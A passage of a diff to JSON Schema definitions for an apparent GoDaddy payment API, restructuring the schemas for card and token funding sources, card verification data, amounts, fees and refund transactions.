"title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } + }, + "title": "Card Processor Response", + "type": "object" } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents refund transaction against a payment", + "properties": { + "alternateFundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + }, + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" } - } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } + }, + "title": "Card VerificationData", + "type": "object" }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Paypal token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - } - ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" - } - }, - "properties": { - "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" - } - }, - "required": [ - "sourceType" - ] - }, - "paymentContext": { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "authorizations": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Authorization Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } + }, + "title": "Card Processing Instruction", + "type": "object" + } + }, + "required": [ + "cardDetail" ], - "description": "Transaction status" + "title": "Payment Card", + "type": "object" }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" } }, "required": [ - "amount", - "currency" - ] + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "cardType": { + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" + "city": { + "description": "City", + "type": "string" }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } - } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "cashback": { - "type": "integer", - "description": "Cashback details" + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "writeOnly": true }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + "eVoucherApprovalCode": { + "type": "string" + }, + "eVoucherSerial": { + "type": "string" + } + }, + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" }, - "required": [ - "feeType" - ] + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } }, - "description": "Fees if any" + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } }, - "required": [ - "total", - "currency" - ] + "title": "PaymentTokenFundingSource", + "type": "object" } ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, "properties": { - "amountType": { - "type": "string" + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" + }, + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": 